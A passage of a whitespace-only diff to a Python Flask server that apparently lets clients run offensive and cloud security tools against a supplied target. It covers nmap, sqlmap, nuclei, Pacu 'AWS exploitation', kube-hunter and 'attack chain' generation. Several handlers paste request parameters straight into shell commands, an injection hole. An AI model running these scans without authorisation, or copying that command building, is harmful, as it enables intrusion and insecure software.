if success: logger.info(f"๐Ÿ›‘ Process {pid} terminated successfully") return jsonify({ @@ -7494,7 +7494,7 @@ def terminate_process(pid): "success": False, "error": f"Failed to terminate process {pid} or process not found" }), 404 - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error terminating process {pid}: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7504,7 +7504,7 @@ def pause_process(pid): """Pause a specific process""" try: success = ProcessManager.pause_process(pid) - + if success: logger.info(f"โธ๏ธ Process {pid} paused successfully") return jsonify({ @@ -7516,7 +7516,7 @@ def pause_process(pid): "success": False, "error": f"Failed to pause process {pid} or process not found" }), 404 - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error pausing process {pid}: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7526,7 +7526,7 @@ def resume_process(pid): """Resume a paused process""" try: success = ProcessManager.resume_process(pid) - + if success: logger.info(f"โ–ถ๏ธ Process {pid} resumed successfully") return jsonify({ @@ -7538,7 +7538,7 @@ def resume_process(pid): "success": False, "error": f"Failed to resume process {pid} or process not found" }), 404 - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error resuming process {pid}: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7549,10 +7549,10 @@ def process_dashboard(): try: processes = ProcessManager.list_active_processes() current_time = time.time() - + # Create beautiful dashboard using ModernVisualEngine dashboard_visual = ModernVisualEngine.create_live_dashboard(processes) - + dashboard = { "timestamp": datetime.now().isoformat(), "total_processes": len(processes), @@ -7564,19 +7564,19 @@ def process_dashboard(): "active_connections": len(psutil.net_connections()) } } - + for pid, info in processes.items(): runtime = current_time - info["start_time"] progress_fraction = info.get("progress", 0) - + # Create beautiful progress bar using ModernVisualEngine progress_bar = ModernVisualEngine.render_progress_bar( - progress_fraction, - width=25, + progress_fraction, + width=25, style='cyber', eta=info.get("eta", 0) ) - + process_status = { "pid": pid, "command": info["command"][:60] + "..." if len(info["command"]) > 60 else info["command"], @@ -7589,9 +7589,9 @@ def process_dashboard(): "last_output": info.get("last_output", "")[:100] } dashboard["processes"].append(process_status) - + return jsonify(dashboard) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error getting process dashboard: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7603,16 +7603,16 @@ def create_vulnerability_card(): data = request.get_json() if not data: return jsonify({"error": "No data provided"}), 400 - + # Create vulnerability card card = ModernVisualEngine.render_vulnerability_card(data) - + return jsonify({ "success": True, "vulnerability_card": card, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error creating vulnerability card: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7624,16 +7624,16 @@ def create_summary_report(): data = request.get_json() if not data: return jsonify({"error": "No data provided"}), 400 - + # Create summary report report = ModernVisualEngine.create_summary_report(data) - + return jsonify({ "success": True, "summary_report": report, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error creating summary report: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7645,20 +7645,20 @@ def format_tool_output(): data = request.get_json() if not data or 'tool' not in data or 'output' not in data: return jsonify({"error": "Tool and output data required"}), 400 - + tool = data['tool'] output = data['output'] success = data.get('success', True) - + # Format tool output formatted_output = ModernVisualEngine.format_tool_output(tool, output, success) - + return jsonify({ "success": True, "formatted_output": formatted_output, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error formatting tool output: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7674,22 +7674,22 @@ def analyze_target(): data = request.get_json() if not data or 'target' not in data: return jsonify({"error": "Target is required"}), 400 - + target = data['target'] logger.info(f"๐Ÿง  Analyzing target: {target}") - + # Use the decision engine to analyze the target profile = decision_engine.analyze_target(target) - + logger.info(f"โœ… Target analysis completed for {target}") logger.info(f"๐Ÿ“Š Target type: {profile.target_type.value}, Risk level: {profile.risk_level}") - + return jsonify({ "success": True, "target_profile": profile.to_dict(), "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error analyzing target: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7701,20 +7701,20 @@ def select_optimal_tools(): data = request.get_json() if not data or 'target' not in data: return jsonify({"error": "Target is required"}), 400 - + target = data['target'] objective = data.get('objective', 'comprehensive') # comprehensive, quick, stealth - + logger.info(f"๐ŸŽฏ Selecting optimal tools for {target} with objective: {objective}") - + # Analyze target first profile = decision_engine.analyze_target(target) - + # Select optimal tools selected_tools = decision_engine.select_optimal_tools(profile, objective) - + logger.info(f"โœ… Selected {len(selected_tools)} tools for {target}") - + return jsonify({ "success": True, "target": target, @@ -7724,7 +7724,7 @@ def select_optimal_tools(): "tool_count": len(selected_tools), "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error selecting tools: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7736,21 +7736,21 @@ def optimize_tool_parameters(): data = request.get_json() if not data or 'target' not in data or 'tool' not in data: return jsonify({"error": "Target and tool are required"}), 400 - + target = data['target'] tool = data['tool'] context = data.get('context', {}) - + logger.info(f"โš™๏ธ Optimizing parameters for {tool} against {target}") - + # Analyze target first profile = decision_engine.analyze_target(target) - + # Optimize parameters optimized_params = decision_engine.optimize_parameters(tool, profile, context) - + logger.info(f"โœ… Parameters optimized for {tool}") - + return jsonify({ "success": True, "target": target, @@ -7760,7 +7760,7 @@ def optimize_tool_parameters(): "optimized_parameters": optimized_params, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error optimizing parameters: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7772,21 +7772,21 @@ def create_attack_chain(): data = request.get_json() if not data or 'target' not in data: return jsonify({"error": "Target is required"}), 400 - + target = data['target'] objective = data.get('objective', 'comprehensive') - + logger.info(f"โš”๏ธ Creating attack chain for {target} with objective: {objective}") - + # Analyze target first profile = decision_engine.analyze_target(target) - + # Create attack chain attack_chain = decision_engine.create_attack_chain(profile, objective) - + logger.info(f"โœ… Attack chain created with {len(attack_chain.steps)} steps") logger.info(f"๐Ÿ“Š Success probability: {attack_chain.success_probability:.2f}, Estimated time: {attack_chain.estimated_time}s") - + return jsonify({ "success": True, "target": target, @@ -7795,7 +7795,7 @@ def create_attack_chain(): "attack_chain": attack_chain.to_dict(), "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error creating attack chain: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -7807,19 +7807,19 @@ def intelligent_smart_scan(): data = request.get_json() if not data or 'target' not in data: return jsonify({"error": "Target is required"}), 400 - + target = data['target'] objective = data.get('objective', 'comprehensive') max_tools = data.get('max_tools', 5) - + logger.info(f"๐Ÿš€ Starting intelligent smart scan for {target}") - + # Analyze target profile = decision_engine.analyze_target(target) - + # Select optimal tools selected_tools = decision_engine.select_optimal_tools(profile, objective)[:max_tools] - + # Execute tools in parallel with real tool execution scan_results = { "target": target, @@ -7829,15 +7829,15 @@ def intelligent_smart_scan(): "execution_summary": {}, "combined_output": "" } - + def execute_single_tool(tool_name, target, profile): """Execute a single tool and return results""" try: logger.info(f"๐Ÿ”ง Executing {tool_name} with optimized parameters") - + # Get optimized parameters for this tool optimized_params = decision_engine.optimize_parameters(tool_name, profile) - + # Map tool names to their actual execution functions tool_execution_map = { 'nmap': lambda: execute_nmap_scan(target, optimized_params), @@ -7857,11 +7857,11 @@ def intelligent_smart_scan(): 'amass': lambda: execute_amass_scan(target, optimized_params), 'subfinder': lambda: execute_subfinder_scan(target, optimized_params) } - + # Execute the tool if we have a mapping for it if tool_name in tool_execution_map: result = tool_execution_map[tool_name]() - + # Extract vulnerability count from result vuln_count = 0 if result.get('success') and result.get('stdout'): @@ -7869,7 +7869,7 @@ def intelligent_smart_scan(): output = result.get('stdout', '') vuln_indicators = ['CRITICAL', 'HIGH', 'MEDIUM', 'VULNERABILITY', 'EXPLOIT', 'SQL injection', 'XSS', 'CSRF'] vuln_count = sum(1 for indicator in vuln_indicators if indicator.lower() in output.lower()) - + return { "tool": tool_name, "parameters": optimized_params, @@ -7892,7 +7892,7 @@ def intelligent_smart_scan(): "error": f"Tool {tool_name} not implemented in execution map", "success": False } - + except Exception as e: logger.error(f"โŒ Error executing {tool_name}: {str(e)}") return { @@ -7902,34 +7902,34 @@ def intelligent_smart_scan(): "error": str(e), "success": False } - + # Execute tools in parallel using ThreadPoolExecutor with ThreadPoolExecutor(max_workers=min(len(selected_tools), 5)) as executor: # Submit all tool executions future_to_tool = { - executor.submit(execute_single_tool, tool, target, profile): tool + executor.submit(execute_single_tool, tool, target, profile): tool for tool in selected_tools } - + # Collect results as they complete for future in future_to_tool: tool_result = future.result() scan_results["tools_executed"].append(tool_result) - + # Accumulate vulnerability count if tool_result.get("vulnerabilities_found"): scan_results["total_vulnerabilities"] += tool_result["vulnerabilities_found"] - + # Combine outputs if tool_result.get("stdout"): scan_results["combined_output"] += f"\n=== {tool_result['tool'].upper()} OUTPUT ===\n" scan_results["combined_output"] += tool_result["stdout"] scan_results["combined_output"] += "\n" + "="*50 + "\n" - + # Create execution summary successful_tools = [t for t in scan_results["tools_executed"] if t.get("success")] failed_tools = [t for t in scan_results["tools_executed"] if not t.get("success")] - + scan_results["execution_summary"] = { "total_tools": len(selected_tools), "successful_tools": len(successful_tools), @@ -7938,16 +7938,16 @@ def intelligent_smart_scan(): "total_execution_time": sum(t.get("execution_time", 0) for t in scan_results["tools_executed"]), "tools_used": [t["tool"] for t in successful_tools] } - + logger.info(f"โœ… Intelligent smart scan completed for {target}") logger.info(f"๐Ÿ“Š Results: {len(successful_tools)}/{len(selected_tools)} tools successful, {scan_results['total_vulnerabilities']} vulnerabilities found") - + return jsonify({ "success": True, "scan_results": scan_results, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in intelligent smart scan: {str(e)}") return jsonify({"error": f"Server error: {str(e)}", "success": False}), 500 @@ -7959,7 +7959,7 @@ def execute_nmap_scan(target, params): scan_type = params.get('scan_type', '-sV') ports = params.get('ports', '') additional_args = params.get('additional_args', '') - + # Build nmap command cmd_parts = ['nmap', scan_type] if ports: @@ -7967,7 +7967,7 @@ def execute_nmap_scan(target, params): if additional_args: cmd_parts.extend(additional_args.split()) cmd_parts.append(target) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -7978,11 +7978,11 @@ def execute_gobuster_scan(target, params): mode = params.get('mode', 'dir') wordlist = params.get('wordlist', '/usr/share/wordlists/dirb/common.txt') additional_args = params.get('additional_args', '') - + cmd_parts = ['gobuster', mode, '-u', target, '-w', wordlist] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -7993,7 +7993,7 @@ def execute_nuclei_scan(target, params): severity = params.get('severity', '') tags = params.get('tags', '') additional_args = params.get('additional_args', '') - + cmd_parts = ['nuclei', '-u', target] if severity: cmd_parts.extend(['-severity', severity]) @@ -8001,7 +8001,7 @@ def execute_nuclei_scan(target, params): cmd_parts.extend(['-tags', tags]) if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8013,7 +8013,7 @@ def execute_nikto_scan(target, params): cmd_parts = ['nikto', '-h', target] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8025,7 +8025,7 @@ def execute_sqlmap_scan(target, params): cmd_parts = ['sqlmap', '-u', target] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8035,15 +8035,15 @@ def execute_ffuf_scan(target, params): try: wordlist = params.get('wordlist', '/usr/share/wordlists/dirb/common.txt') additional_args = params.get('additional_args', '') - + # Ensure target has FUZZ placeholder if 'FUZZ' not in target: target = target.rstrip('/') + '/FUZZ' - + cmd_parts = ['ffuf', '-u', target, '-w', wordlist] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8053,11 +8053,11 @@ def execute_feroxbuster_scan(target, params): try: wordlist = params.get('wordlist', '/usr/share/wordlists/dirb/common.txt') additional_args = params.get('additional_args', '') - + cmd_parts = ['feroxbuster', '-u', target, '-w', wordlist] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8069,7 +8069,7 @@ def execute_katana_scan(target, params): cmd_parts = ['katana', '-u', target] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8080,7 +8080,7 @@ def execute_httpx_scan(target, params): additional_args = params.get('additional_args', '-tech-detect -status-code') # Use shell command with pipe for httpx cmd = f"echo {target} | httpx {additional_args}" - + return execute_command(cmd) except Exception as e: return {"success": False, "error": str(e)} @@ -8092,7 +8092,7 @@ def execute_wpscan_scan(target, params): cmd_parts = ['wpscan', '--url', target] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8104,7 +8104,7 @@ def execute_dirsearch_scan(target, params): cmd_parts = ['dirsearch', '-u', target] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8116,7 +8116,7 @@ def execute_arjun_scan(target, params): cmd_parts = ['arjun', '-u', target] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8128,7 +8128,7 @@ def execute_paramspider_scan(target, params): cmd_parts = ['paramspider', '-d', target] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8140,7 +8140,7 @@ def execute_dalfox_scan(target, params): cmd_parts = ['dalfox', 'url', target] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8152,7 +8152,7 @@ def execute_amass_scan(target, params): cmd_parts = ['amass', 'enum', '-d', target] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8164,7 +8164,7 @@ def execute_subfinder_scan(target, params): cmd_parts = ['subfinder', '-d', target] if additional_args: cmd_parts.extend(additional_args.split()) - + return execute_command(' '.join(cmd_parts)) except Exception as e: return {"success": False, "error": str(e)} @@ -8176,14 +8176,14 @@ def detect_technologies(): data = request.get_json() if not data or 'target' not in data: return jsonify({"error": "Target is required"}), 400 - + target = data['target'] - + logger.info(f"๐Ÿ” Detecting technologies for {target}") - + # Analyze target profile = decision_engine.analyze_target(target) - + # Get technology-specific recommendations tech_recommendations = {} for tech in profile.technologies: @@ -8205,9 +8205,9 @@ def detect_technologies(): "focus_areas": ["prototype pollution", "dependency vulnerabilities"], "priority": "medium" } - + logger.info(f"โœ… Technology detection completed for {target}") - + return jsonify({ "success": True, "target": target, @@ -8217,7 +8217,7 @@ def detect_technologies(): "target_profile": profile.to_dict(), "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in technology detection: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -8233,14 +8233,14 @@ def create_reconnaissance_workflow(): data = request.get_json() if not data or 'domain' not in data: return jsonify({"error": "Domain is required"}), 400 - + domain = data['domain'] scope = data.get('scope', []) out_of_scope = data.get('out_of_scope', []) program_type = data.get('program_type', 'web') - + logger.info(f"๐ŸŽฏ Creating reconnaissance workflow for {domain}") - + # Create bug bounty target target = BugBountyTarget( domain=domain, @@ -8248,18 +8248,18 @@ def create_reconnaissance_workflow(): out_of_scope=out_of_scope, program_type=program_type ) - + # Generate reconnaissance workflow workflow = bugbounty_manager.create_reconnaissance_workflow(target) - + logger.info(f"โœ… Reconnaissance workflow created for {domain}") - + return jsonify({ "success": True, "workflow": workflow, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error creating reconnaissance workflow: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -8271,31 +8271,31 @@ def create_vulnerability_hunting_workflow(): data = request.get_json() if not data or 'domain' not in data: return jsonify({"error": "Domain is required"}), 400 - + domain = data['domain'] priority_vulns = data.get('priority_vulns', ["rce", "sqli", "xss", "idor", "ssrf"]) bounty_range = data.get('bounty_range', 'unknown') - + logger.info(f"๐ŸŽฏ Creating vulnerability hunting workflow for {domain}") - + # Create bug bounty target target = BugBountyTarget( domain=domain, priority_vulns=priority_vulns, bounty_range=bounty_range ) - + # Generate vulnerability hunting workflow workflow = bugbounty_manager.create_vulnerability_hunting_workflow(target) - + logger.info(f"โœ… Vulnerability hunting workflow created for {domain}") - + return jsonify({ "success": True, "workflow": workflow, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error creating vulnerability hunting workflow: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -8307,26 +8307,26 @@ def create_business_logic_workflow(): data = request.get_json() if not data or 'domain' not in data: return jsonify({"error": "Domain is required"}), 400 - + domain = data['domain'] program_type = data.get('program_type', 'web') - + logger.info(f"๐ŸŽฏ Creating business logic testing workflow for {domain}") - + # Create bug bounty target target = BugBountyTarget(domain=domain, program_type=program_type) - + # Generate business logic testing workflow workflow = bugbounty_manager.create_business_logic_testing_workflow(target) - + logger.info(f"โœ… Business logic testing workflow created for {domain}") - + return jsonify({ "success": True, "workflow": workflow, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error creating business logic workflow: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -8338,25 +8338,25 @@ def create_osint_workflow(): data = request.get_json() if not data or 'domain' not in data: return jsonify({"error": "Domain is required"}), 400 - + domain = data['domain'] - + logger.info(f"๐ŸŽฏ Creating OSINT workflow for {domain}") - + # Create bug bounty target target = BugBountyTarget(domain=domain) - + # Generate OSINT workflow workflow = bugbounty_manager.create_osint_workflow(target) - + logger.info(f"โœ… OSINT workflow created for {domain}") - + return jsonify({ "success": True, "workflow": workflow, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error creating OSINT workflow: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -8368,26 +8368,26 @@ def create_file_upload_testing(): data = request.get_json() if not data or 'target_url' not in data: return jsonify({"error": "Target URL is required"}), 400 - + target_url = data['target_url'] - + logger.info(f"๐ŸŽฏ Creating file upload testing workflow for {target_url}") - + # Generate file upload testing workflow workflow = fileupload_framework.create_upload_testing_workflow(target_url) - + # Generate test files test_files = fileupload_framework.generate_test_files() workflow["test_files"] = test_files - + logger.info(f"โœ… File upload testing workflow created for {target_url}") - + return jsonify({ "success": True, "workflow": workflow, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error creating file upload testing workflow: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -8399,54 +8399,54 @@ def create_comprehensive_bugbounty_assessment(): data = request.get_json() if not data or 'domain' not in data: return jsonify({"error": "Domain is required"}), 400 - + domain = data['domain'] scope = data.get('scope', []) priority_vulns = data.get('priority_vulns', ["rce", "sqli", "xss", "idor", "ssrf"]) include_osint = data.get('include_osint', True) include_business_logic = data.get('include_business_logic', True) - + logger.info(f"๐ŸŽฏ Creating comprehensive bug bounty assessment for {domain}") - + # Create bug bounty target target = BugBountyTarget( domain=domain, scope=scope, priority_vulns=priority_vulns ) - + # Generate all workflows assessment = { "target": domain, "reconnaissance": bugbounty_manager.create_reconnaissance_workflow(target), "vulnerability_hunting": bugbounty_manager.create_vulnerability_hunting_workflow(target) } - + if include_osint: assessment["osint"] = bugbounty_manager.create_osint_workflow(target) - + if include_business_logic: assessment["business_logic"] = bugbounty_manager.create_business_logic_testing_workflow(target) - + # Calculate total estimates total_time = sum(workflow.get("estimated_time", 0) for workflow in assessment.values() if isinstance(workflow, dict)) total_tools = sum(workflow.get("tools_count", 0) for workflow in assessment.values() if isinstance(workflow, dict)) - + assessment["summary"] = { "total_estimated_time": total_time, "total_tools": total_tools, "workflow_count": len([k for k in assessment.keys() if k != "target"]), "priority_score": assessment["vulnerability_hunting"].get("priority_score", 0) } - + logger.info(f"โœ… Comprehensive bug bounty assessment created for {domain}") - + return jsonify({ "success": True, "assessment": assessment, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error creating comprehensive assessment: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -8465,25 +8465,25 @@ def nmap(): ports = params.get("ports", "") additional_args = params.get("additional_args", "-T4 -Pn") use_recovery = params.get("use_recovery", True) - + if not target: logger.warning("๐ŸŽฏ Nmap called without target parameter") return jsonify({ "error": "Target parameter is required" }), 400 - + command = f"nmap {scan_type}" - + if ports: command += f" -p {ports}" - + if additional_args: command += f" {additional_args}" - + command += f" {target}" - + logger.info(f"๐Ÿ” Starting Nmap scan: {target}") - + # Use intelligent error handling if enabled if use_recovery: tool_params = { @@ -8495,10 +8495,10 @@ def nmap(): result = execute_command_with_recovery("nmap", command, tool_params) else: result = execute_command(command) - + logger.info(f"๐Ÿ“Š Nmap scan completed for {target}") return jsonify(result) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in nmap endpoint: {str(e)}") return jsonify({ @@ -8515,27 +8515,27 @@ def gobuster(): wordlist = params.get("wordlist", "/usr/share/wordlists/dirb/common.txt") additional_args = params.get("additional_args", "") use_recovery = params.get("use_recovery", True) - + if not url: logger.warning("๐ŸŒ Gobuster called without URL parameter") return jsonify({ "error": "URL parameter is required" }), 400 - + # Validate mode if mode not in ["dir", "dns", "fuzz", "vhost"]: logger.warning(f"โŒ Invalid gobuster mode: {mode}") return jsonify({ "error": f"Invalid mode: {mode}. Must be one of: dir, dns, fuzz, vhost" }), 400 - + command = f"gobuster {mode} -u {url} -w {wordlist}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ“ Starting Gobuster {mode} scan: {url}") - + # Use intelligent error handling if enabled if use_recovery: tool_params = { @@ -8547,10 +8547,10 @@ def gobuster(): result = execute_command_with_recovery("gobuster", command, tool_params) else: result = execute_command(command) - + logger.info(f"๐Ÿ“Š Gobuster scan completed for {url}") return jsonify(result) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in gobuster endpoint: {str(e)}") return jsonify({ @@ -8568,29 +8568,29 @@ def nuclei(): template = params.get("template", "") additional_args = params.get("additional_args", "") use_recovery = params.get("use_recovery", True) - + if not target: logger.warning("๐ŸŽฏ Nuclei called without target parameter") return jsonify({ "error": "Target parameter is required" }), 400 - + command = f"nuclei -u {target}" - + if severity: command += f" -severity {severity}" - + if tags: command += f" -tags {tags}" - + if template: command += f" -t {template}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ฌ Starting Nuclei vulnerability scan: {target}") - + # Use intelligent error handling if enabled if use_recovery: tool_params = { @@ -8603,10 +8603,10 @@ def nuclei(): result = execute_command_with_recovery("nuclei", command, tool_params) else: result = execute_command(command) - + logger.info(f"๐Ÿ“Š Nuclei scan completed for {target}") return jsonify(result) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in nuclei endpoint: {str(e)}") return jsonify({ @@ -8629,27 +8629,27 @@ def prowler(): output_dir = params.get("output_dir", "/tmp/prowler_output") output_format = params.get("output_format", "json") additional_args = params.get("additional_args", "") - + # Ensure output directory exists Path(output_dir).mkdir(parents=True, exist_ok=True) - + command = f"prowler {provider}" - + if profile: command += f" --profile {profile}" - + if region: command += f" --region {region}" - + if checks: command += f" --checks {checks}" - + command += f" --output-directory {output_dir}" command += f" --output-format {output_format}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"โ˜๏ธ Starting Prowler {provider} security assessment") result = execute_command(command) result["output_directory"] = output_dir @@ -8672,27 +8672,27 @@ def trivy(): severity = params.get("severity", "") output_file = params.get("output_file", "") additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŽฏ Trivy called without target parameter") return jsonify({ "error": "Target parameter is required" }), 400 - + command = f"trivy {scan_type} {target}" - + if output_format: command += f" --format {output_format}" - + if severity: command += f" --severity {severity}" - + if output_file: command += f" --output {output_file}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Trivy {scan_type} scan: {target}") result = execute_command(command) if output_file: @@ -8720,26 +8720,26 @@ def scout_suite(): services = params.get("services", "") exceptions = params.get("exceptions", "") additional_args = params.get("additional_args", "") - + # Ensure report directory exists Path(report_dir).mkdir(parents=True, exist_ok=True) - + command = f"scout {provider}" - + if profile and provider == "aws": command += f" --profile {profile}" - + if services: command += f" --services {services}" - + if exceptions: command += f" --exceptions {exceptions}" - + command += f" --report-dir {report_dir}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"โ˜๏ธ Starting Scout Suite {provider} assessment") result = execute_command(command) result["report_directory"] = report_dir @@ -8758,22 +8758,22 @@ def cloudmapper(): account = params.get("account", "") config = params.get("config", "config.json") additional_args = params.get("additional_args", "") - + if not account and action != "webserver": logger.warning("โ˜๏ธ CloudMapper called without account parameter") return jsonify({"error": "Account parameter is required for most actions"}), 400 - + command = f"cloudmapper {action}" - + if account: command += f" --account {account}" - + if config: command += f" --config {config}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"โ˜๏ธ Starting CloudMapper {action}") result = execute_command(command) logger.info(f"๐Ÿ“Š CloudMapper {action} completed") @@ -8792,42 +8792,42 @@ def pacu(): data_services = params.get("data_services", "") regions = params.get("regions", "") additional_args = params.get("additional_args", "") - + # Create Pacu command sequence commands = [] commands.append(f"set_session {session_name}") - + if data_services: commands.append(f"data {data_services}") - + if regions: commands.append(f"set_regions {regions}") - + if modules: for module in modules.split(","): commands.append(f"run {module.strip()}") - + commands.append("exit") - + # Create command file command_file = "/tmp/pacu_commands.txt" with open(command_file, "w") as f: f.write("\n".join(commands)) - + command = f"pacu < {command_file}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"โ˜๏ธ Starting Pacu AWS exploitation") result = execute_command(command) - + # Cleanup try: os.remove(command_file) except: pass - + logger.info(f"๐Ÿ“Š Pacu exploitation completed") return jsonify(result) except Exception as e: @@ -8846,9 +8846,9 @@ def kube_hunter(): active = params.get("active", False) report = params.get("report", "json") additional_args = params.get("additional_args", "") - + command = "kube-hunter" - + if target: command += f" --remote {target}" elif remote: @@ -8860,16 +8860,16 @@ def kube_hunter(): else: # Default to pod scanning command += " --pod" - + if active: command += " --active" - + if report: command += f" --report {report}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"โ˜๏ธ Starting kube-hunter Kubernetes scan") result = execute_command(command) logger.info(f"๐Ÿ“Š kube-hunter scan completed") @@ -8888,24 +8888,24 @@ def kube_bench(): config_dir = params.get("config_dir", "") output_format = params.get("output_format", "json") additional_args = params.get("additional_args", "") - + command = "kube-bench" - + if targets: command += f" --targets {targets}" - + if version: command += f" --version {version}" - + if config_dir: command += f" --config-dir {config_dir}" - + if output_format: command += f" --outputfile /tmp/kube-bench-results.{output_format} --json" - + if additional_args: command += f" {additional_args}" - + logger.info(f"โ˜๏ธ Starting kube-bench CIS benchmark") result = execute_command(command) logger.info(f"๐Ÿ“Š kube-bench benchmark completed") @@ -8923,21 +8923,21 @@ def docker_bench_security(): exclude = params.get("exclude", "") # Checks to exclude output_file = params.get("output_file", "/tmp/docker-bench-results.json") additional_args = params.get("additional_args", "") - + command = "docker-bench-security" - + if checks: command += f" -c {checks}" - + if exclude: command += f" -e {exclude}" - + if output_file: command += f" -l {output_file}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿณ Starting Docker Bench Security assessment") result = execute_command(command) result["output_file"] = output_file @@ -8956,23 +8956,23 @@ def clair(): config = params.get("config", "/etc/clair/config.yaml") output_format = params.get("output_format", "json") additional_args = params.get("additional_args", "") - + if not image: logger.warning("๐Ÿณ Clair called without image parameter") return jsonify({"error": "Image parameter is required"}), 400 - + # Use clairctl for scanning command = f"clairctl analyze {image}" - + if config: command += f" --config {config}" - + if output_format: command += f" --format {output_format}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿณ Starting Clair vulnerability scan: {image}") result = execute_command(command) logger.info(f"๐Ÿ“Š Clair scan completed for {image}") @@ -8991,21 +8991,21 @@ def falco(): output_format = params.get("output_format", "json") duration = params.get("duration", 60) # seconds additional_args = params.get("additional_args", "") - + command = f"timeout {duration} falco" - + if config_file: command += f" --config {config_file}" - + if rules_file: command += f" --rules {rules_file}" - + if output_format == "json": command += " --json" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ›ก๏ธ Starting Falco runtime monitoring for {duration}s") result = execute_command(command) logger.info(f"๐Ÿ“Š Falco monitoring completed") @@ -9025,24 +9025,24 @@ def checkov(): skip_check = params.get("skip_check", "") output_format = params.get("output_format", "json") additional_args = params.get("additional_args", "") - + command = f"checkov -d {directory}" - + if framework: command += f" --framework {framework}" - + if check: command += f" --check {check}" - + if skip_check: command += f" 